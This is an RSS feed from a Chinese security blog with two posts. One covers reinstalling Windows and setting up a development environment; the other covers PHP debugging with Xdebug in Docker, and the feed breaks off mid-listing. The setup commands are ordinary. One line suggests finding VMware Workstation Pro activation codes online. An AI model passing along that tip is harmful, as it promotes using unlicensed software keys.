<?xml version="1.0" encoding="utf-8"?>






<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
        <title>wh1sper</title>
        <link>https://blog.wh1sper.com/</link>
        <description>wh1sper的个人博客. web安全, 安全研究, CTF, writeup。</description>
        <generator>Hugo 0.110.0 https://gohugo.io/</generator>
        
            <language>zh-CN</language>
        
        
            <managingEditor>admin[at]wh1sper.com (wh1sper)</managingEditor>
        
        
            <webMaster>admin[at]wh1sper.com (wh1sper)</webMaster>
        
        
            <copyright>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh)</copyright>
        
        <lastBuildDate>Thu, 13 Apr 2023 19:17:23 &#43;0800</lastBuildDate>
        
            <atom:link rel="self" type="application/rss&#43;xml" href="https://blog.wh1sper.com/rss.xml" />
        
        
            <item>
                <title>从0开始的Windows配环境之旅</title>
                <link>https://blog.wh1sper.com/posts/%E4%BB%8E0%E5%BC%80%E5%A7%8B%E7%9A%84windows%E9%85%8D%E7%8E%AF%E5%A2%83%E4%B9%8B%E6%97%85/</link>
                <guid isPermaLink="true">https://blog.wh1sper.com/posts/%E4%BB%8E0%E5%BC%80%E5%A7%8B%E7%9A%84windows%E9%85%8D%E7%8E%AF%E5%A2%83%E4%B9%8B%E6%97%85/</guid>
                <pubDate>Wed, 08 Feb 2023 16:06:36 &#43;0800</pubDate>
                
                    <author>admin[at]wh1sper.com (wh1sper)</author>
                
                <copyright>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh)</copyright>
                
                    <description>&lt;p&gt;用了2.5年的matebook实在是有点小卡，总共就512G的硬盘也爆炸了，瞧了瞧M2 pro的牙膏，心想还是再苟一苟，等等党永远不亏，所以就下狠心直接重装了Windows。&lt;/p&gt;
&lt;h2 id=&#34;重装windows&#34;&gt;重装Windows&lt;/h2&gt;
&lt;p&gt;这没啥好说的，&lt;a href=&#34;https://www.wepe.com.cn/&#34;&gt;wepe&lt;/a&gt;，&lt;a href=&#34;https://next.itellyou.cn/&#34;&gt;NEXT, ITELLYOU&lt;/a&gt;，&lt;a href=&#34;https://www.disktool.cn/&#34;&gt;傲梅分区助手（wepe自带）&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;十多分钟搞定，主要是配环境和其他的问题。&lt;/p&gt;
&lt;h2 id=&#34;配置各种环境&#34;&gt;配置各种环境&lt;/h2&gt;
&lt;p&gt;语言倒不是很麻烦，各种语言能上多版本管理工具的都上了，版本之间环境隔离，用起来挺舒服&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP&lt;/strong&gt;：&lt;a href=&#34;https://www.xp.cn/&#34;&gt;PHPstudy&lt;/a&gt;，打过CTF的都说好，还自带MySQL，nginx等多版本管理的功能，谁用谁知道。不过要注意低版本以前出过后门事件，使用的时候留意一下。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Node.js&lt;/strong&gt;：&lt;a href=&#34;https://github.com/coreybutler/nvm-windows&#34;&gt;nvm-windows&lt;/a&gt;，Go写的nodejs多版本管理工具，通过软链接和环境变量实现版本隔离，每个版本的npm也是隔离的，node默认安装在nvm同级目录，也不用担心占用C盘空间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Golang&lt;/strong&gt;：&lt;a href=&#34;https://github.com/voidint/g&#34;&gt;g(gvm)&lt;/a&gt;，各平台通用的golang版本管理工具，也是通过软链接实现版本切换。默认会在用户目录下创建&lt;code&gt;.g&lt;/code&gt;目录，担心占用C盘的可以在cmd下用&lt;code&gt;mklink /J &lt;/code&gt;链接到其他地方去。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Java&lt;/strong&gt;：无工具，直接通过修改&lt;code&gt;JAVA_HOME&lt;/code&gt;环境变量实现版本切换，担心maven仓库占用C盘的用&lt;code&gt;mklink /J&lt;/code&gt;命令把&lt;code&gt;.m2&lt;/code&gt;目录链接到D盘去&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Python&lt;/strong&gt;：没多版本切换的需求，只有Python2，3并存的需求，直接去官网下载安装包分别装到两个目录就行了，然后把python2的&lt;code&gt;python.exe&lt;/code&gt;复制一份重命名为&lt;code&gt;python2.exe&lt;/code&gt;，原来的&lt;code&gt;python.exe&lt;/code&gt;别删，删了不好使。配环境变量的时候把python3目录放到python2目录之前，就可以保证使用命令&lt;code&gt;python&lt;/code&gt;的时候执行python3。对于pip，2.7版本可以直接在换源之后&lt;code&gt;curl https://bootstrap.pypa.io/pip/2.7/get-pip.py | python2&lt;/code&gt;来安装。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;IDE&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.jetbrains.com/zh-cn/idea/&#34;&gt;&lt;strong&gt;IntelliJ IDEA&lt;/strong&gt;&lt;/a&gt;，宇宙最强Java IDE，没啥好说的&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.jetbrains.com/phpstorm/&#34;&gt;&lt;strong&gt;PhpStorm&lt;/strong&gt;&lt;/a&gt;，调php代码用&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://code.visualstudio.com/&#34;&gt;&lt;strong&gt;Visual Studio Code&lt;/strong&gt;&lt;/a&gt;，除了Java和php其他都用这个，插件多，生态丰富&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Docker和wsl肯定不可或缺，装docker之前先装wsl2&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WSL&lt;/strong&gt;：照着&lt;a href=&#34;https://zhuanlan.zhihu.com/p/386590591&#34;&gt;知乎&lt;/a&gt;的装，只不过我在store里面选择的Kali，这个Kali还可以装GUI，体验很不错。照着&lt;a href=&#34;https://learn.microsoft.com/zh-cn/windows/wsl/wsl-config&#34;&gt;ms的文档&lt;/a&gt;配置性能参数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker&lt;/strong&gt;：&lt;a href=&#34;https://docs.docker.com/desktop/install/windows-install/&#34;&gt;Docker desktop for Windows&lt;/a&gt;，照着官网来，别忘了换源啥的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;迁移wsl和docker的数据&lt;/strong&gt;：担心占C盘用WSL管理工具&lt;a href=&#34;https://github.com/DDoSolitary/LxRunOffline&#34;&gt;LxRunOffline&lt;/a&gt;，我用的mingw版本，可以把Docker和WSL的硬盘都迁移到D盘去&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Terminal、powershell7和美化&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Terminal&lt;/strong&gt;直接在store里面搜，powershell去&lt;a href=&#34;https://github.com/PowerShell/powershell/releases&#34;&gt;Github release&lt;/a&gt;下msi安装&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;美化&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;字体使用&lt;a href=&#34;https://www.nerdfonts.com/font-downloads&#34;&gt;Nerd Fonts&lt;/a&gt;，我用的Hack，看起来是&lt;a href=&#34;https://www.programmingfonts.org/#hack&#34;&gt;这样&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Oh-my-posh现在已经不支持powershell module了，按照&lt;a href=&#34;https://ohmyposh.dev/docs/installation/windows&#34;&gt;官方文档&lt;/a&gt;照着装&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;主题我用的stelbent，可以在powershell里输入&lt;code&gt;notepad $profile&lt;/code&gt;来设置，分享下我的：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;oh-my-posh init pwsh --config &amp;#34;$env:POSH_THEMES_PATH\stelbent.minimal.omp.json&amp;#34; | Invoke-Expression
Import-Module posh-git
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其他&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Git、&lt;a href=&#34;https://desktop.github.com/&#34;&gt;GitHub Desktop&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://www.u.tools/&#34;&gt;utools&lt;/a&gt;，这个强烈推荐，里面的ctool超级好用，一般人我不告诉他。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/Fndroid/clash_for_windows_pkg/releases&#34;&gt;Clash For Windows&lt;/a&gt;，懂得都懂&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/2dust/v2rayN/releases&#34;&gt;V2rayN&lt;/a&gt;，也很棒，多一个代理防止打内网的时候不能访问Google&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://geekuninstaller.com/&#34;&gt;geek uninstaller&lt;/a&gt;，卸载软件用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://picgo.github.io/PicGo-Doc/zh/guide/&#34;&gt;PicGo&lt;/a&gt;，配合GitHub图床，写博客用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;VMware Workstation Pro，网上直接找激活码&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;对抗国产流氓软件&#34;&gt;对抗国产流氓软件&lt;/h2&gt;
&lt;h3 id=&#34;火绒高级防护&#34;&gt;火绒高级防护&lt;/h3&gt;
&lt;p&gt;Windows Defender作为杀软确实不错，我的那些工具一下就给我吞了，但是在整治国产流氓软件这方面还得看火绒，推荐火绒的&amp;quot;高级防护&amp;quot;功能，可以自定义防护规则，防止创建目录和读取浏览器历史之类的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202302081710228.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;规则可以在&lt;a href=&#34;https://bbs.huorong.cn/forum-45-1.html&#34;&gt;火绒论坛&lt;/a&gt;里找到，我用的是&lt;a href=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202302081713589.zip&#34;&gt;火绒安全自定义规则 v29.0.zip&lt;/a&gt;，导入的时候需要同时导入规则和自动处理。&lt;/p&gt;
&lt;h3 id=&#34;根治流氓软件&#34;&gt;根治流氓软件&lt;/h3&gt;
&lt;p&gt;因为我习惯了tim和360压缩，导入规则之后，火绒就疯狂给我告警。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202302081716497.png&#34; alt=&#34;&#34;&gt;]&lt;/p&gt;
&lt;p&gt;但是由于一些原因，我有时候需要关闭火绒，这就给了这些软件可乘之机。&lt;/p&gt;
&lt;p&gt;之前打awd的时候杀不死马可以创建同名目录来防止文件再生，这里我迁移一下，创建一个同名文件来防止目录创建&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202302081718691.png&#34; style=&#34;zoom: 50%;&#34; /&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202302081719560.png&#34; style=&#34;zoom: 50%;&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202302081720198.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;根据火绒安全日志里面的目录，一个个创建，注册表同理，创建一个键然后权限全部关掉。&lt;/p&gt;
&lt;p&gt;然后世界就清净了。&lt;/p&gt;
&lt;h2 id=&#34;小结&#34;&gt;小结&lt;/h2&gt;
&lt;p&gt;一套下来，C盘占用不到50G，D盘占不到100个G，四舍五入又拥有了一台新电脑。&lt;/p&gt;
</description>
                
                
                
                
                
                    
                        
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/categories/misc/">Misc</category>
                                
                            
                        
                    
                        
                    
                
            </item>
        
            <item>
                <title>Docker下PHP调试环境搭建</title>
                <link>https://blog.wh1sper.com/posts/docker%E4%B8%8Bphp%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/</link>
                <guid isPermaLink="true">https://blog.wh1sper.com/posts/docker%E4%B8%8Bphp%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/</guid>
                <pubDate>Sun, 29 Jan 2023 15:52:26 &#43;0800</pubDate>
                
                    <author>admin[at]wh1sper.com (wh1sper)</author>
                
                <copyright>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh)</copyright>
                
                    <description>&lt;p&gt;承接上一篇&lt;a href=&#34;https://blog.wh1sper.com/posts/debian%E4%B8%8Bphp%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/&#34;&gt;Debian下PHP 调试环境搭建&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是在虚拟机里安装PhpStorm或者在本机上调试都是不太优雅的方案，使用Docker运行调试不用担心php版本的问题，也不用去担心如何倒腾破环了宿主机的环境。&lt;/p&gt;
&lt;p&gt;先补充下Xdebug的原理：&lt;/p&gt;
&lt;h2 id=&#34;xdebug的原理&#34;&gt;Xdebug的原理&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;浏览器向 Httpd 服务器发送一个带有 XDEBUG_SESSION_START 参数的请求，服务器收到这个请求之后交给后端的 PHP（已开启 xdebug 模块）进行处理&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果是默认配置&lt;code&gt;xdebug.remote_connect_back = 0&lt;/code&gt;，那么xdebug在收到调试通知时会读取配置 &lt;code&gt;xdebug.remote_host&lt;/code&gt; 和 &lt;code&gt;xdebug.remote_port&lt;/code&gt;（默认是 &lt;code&gt;localhost:9000&lt;/code&gt;），然后向这个端口发送通知。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202301291609691.gif&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;如果开启&lt;code&gt;xdebug.remote_connect_back = 1&lt;/code&gt;，xdebug会将请求来源的 IP 绑定，并通知
&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202301291620726.gif&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们可以看到，Xdebug其实是需要从服务端（运行环境）发送消息到客户端（调试IDE）的，但是往往客户端是在内网，没有办法收到服务端的消息。&lt;/p&gt;
&lt;p&gt;所以一般会用代理隧道技术解决这个问题，比如ssh。&lt;/p&gt;
&lt;p&gt;注意，使用&lt;a href=&#34;https://xdebug.org/docs/dbgpProxy&#34;&gt;DBGp 代理&lt;/a&gt;只能让你debug的时候可以多人运动，但是&lt;strong&gt;并不能解决内网不可达问题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用ssh隧道：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;修改 php.ini。让&lt;code&gt;xdebug.client_host&lt;/code&gt;值为&lt;code&gt;127.0.0.1&lt;/code&gt;，这样当服务端收到一个带有参数的请求的时候，xdebug会向127.0.0.1:9003发送调试信息&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;客户端进行 ssh隧道端口转发&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ssh -N -R 远程IP:远程端口:127.0.0.1:9003 root@远程IP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这样就能使用调试远程程序了。&lt;/p&gt;
&lt;h2 id=&#34;使用dbgp-代理httpsxdebugorgdocsdbgpproxy进行多用户调试&#34;&gt;使用&lt;a href=&#34;https://xdebug.org/docs/dbgpProxy&#34;&gt;DBGp 代理&lt;/a&gt;进行多用户调试﻿&lt;/h2&gt;
&lt;p&gt;可以参考：&lt;a href=&#34;https://phpstorm.org/multiuser-debugging-via-xdebug-proxies.html&#34;&gt;通过 Xdebug 代理进行多用户调试&lt;/a&gt;﻿&lt;/p&gt;
&lt;p&gt;服务端使用DBGp监听&lt;code&gt;127.0.0.1:9003&lt;/code&gt;，将xdebug发送的请求代理到客户端的9000端口&lt;/p&gt;
&lt;p&gt;DBGp 代理可执行文件接受两个主要参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-i&lt;/code&gt;：用于侦听 IDE（客户端）连接的主机和端口&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-s&lt;/code&gt;: 侦听调试器引擎（服务器）连接的主机和端口&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;./dbgpProxy -s 127.0.0.1:9003 -i 0.0.0.0:9001
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;用于监听客户端连接的地址最好填 &lt;code&gt;0.0.0.0&lt;/code&gt; ，避免网卡选错的麻烦。&lt;/p&gt;
&lt;h2 id=&#34;宿主机无法收到xdebug请求&#34;&gt;宿主机无法收到Xdebug请求&lt;/h2&gt;
&lt;p&gt;问题：&lt;/p&gt;
&lt;p&gt;在Docker中监听是能够收到Xdebug的请求的，但是在宿主机上用netcat或者PhpStorm监听收不到请求&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202301291551797.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;还是网络不可达的问题，可以通过隧道技术或者设置xdebug配置参数client_host/remote_host为宿主机IP地址。&lt;/p&gt;
&lt;p&gt;解决方法：&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;host.docker.internal&lt;/code&gt;，可以直接解析到宿主机IP，参考&lt;a href=&#34;https://docs.docker.com/desktop/networking/#use-cases-and-workarounds-for-all-platforms&#34;&gt;官方文档&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202301291634184.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;但是要注意xdebug2和3的配置参数是不一样的，启动的时候环境变量需要注意一下，可见&lt;a href=&#34;https://xdebug.org/docs/upgrade_guide#Step-Debugging&#34;&gt;官方文档&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;使用dockerfile和docker-compose&#34;&gt;使用Dockerfile和Docker compose&lt;/h2&gt;
&lt;p&gt;按照PhpStorm官方的&lt;a href=&#34;https://github.com/JetBrains/phpstorm-docker-images/blob/master/php-82-apache-xdebug-32/Dockerfile&#34;&gt;repo&lt;/a&gt;魔改了一个祖国版Dockerfile，我自己电脑上build大概五分钟：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-dockerfile&#34; data-lang=&#34;dockerfile&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;s&#34;&gt; php:8.2-apache&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# COPY --from=composer /usr/bin/composer /usr/bin/composer&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;RUN&lt;/span&gt;    php -r &lt;span class=&#34;s2&#34;&gt;&amp;#34;readfile(&amp;#39;https://getcomposer.org/installer&amp;#39;);&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; php &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; mv /var/www/html/composer.phar /usr/bin/composer&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;RUN&lt;/span&gt;    sed -i &lt;span class=&#34;s2&#34;&gt;&amp;#34;s@http://deb.debian.org@http://mirrors.aliyun.com@g&amp;#34;&lt;/span&gt; /etc/apt/sources.list &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt clean &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get update &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get -y install libzip-dev libicu-dev &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; docker-php-ext-install mysqli zip intl &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; pecl install xdebug-3.2.0 &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; docker-php-ext-enable xdebug &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;xdebug.mode=debug&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; /usr/local/etc/php/php.ini&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# dbgpProxy, for multiuser debugging&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# ssh, for tunnel&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# RUN   curl https://xdebug.org/files/binaries/dbgpProxy -o /usr/bin/dbgpProxy \&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&lt;/span&gt;&lt;span class=&#34;c&#34;&gt;#     &amp;amp;&amp;amp; chmod +x /usr/bin/dbgpProxy \&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&lt;/span&gt;&lt;span class=&#34;c&#34;&gt;#     &amp;amp;&amp;amp; apt-get install ssh&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;docker-compose.yml:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
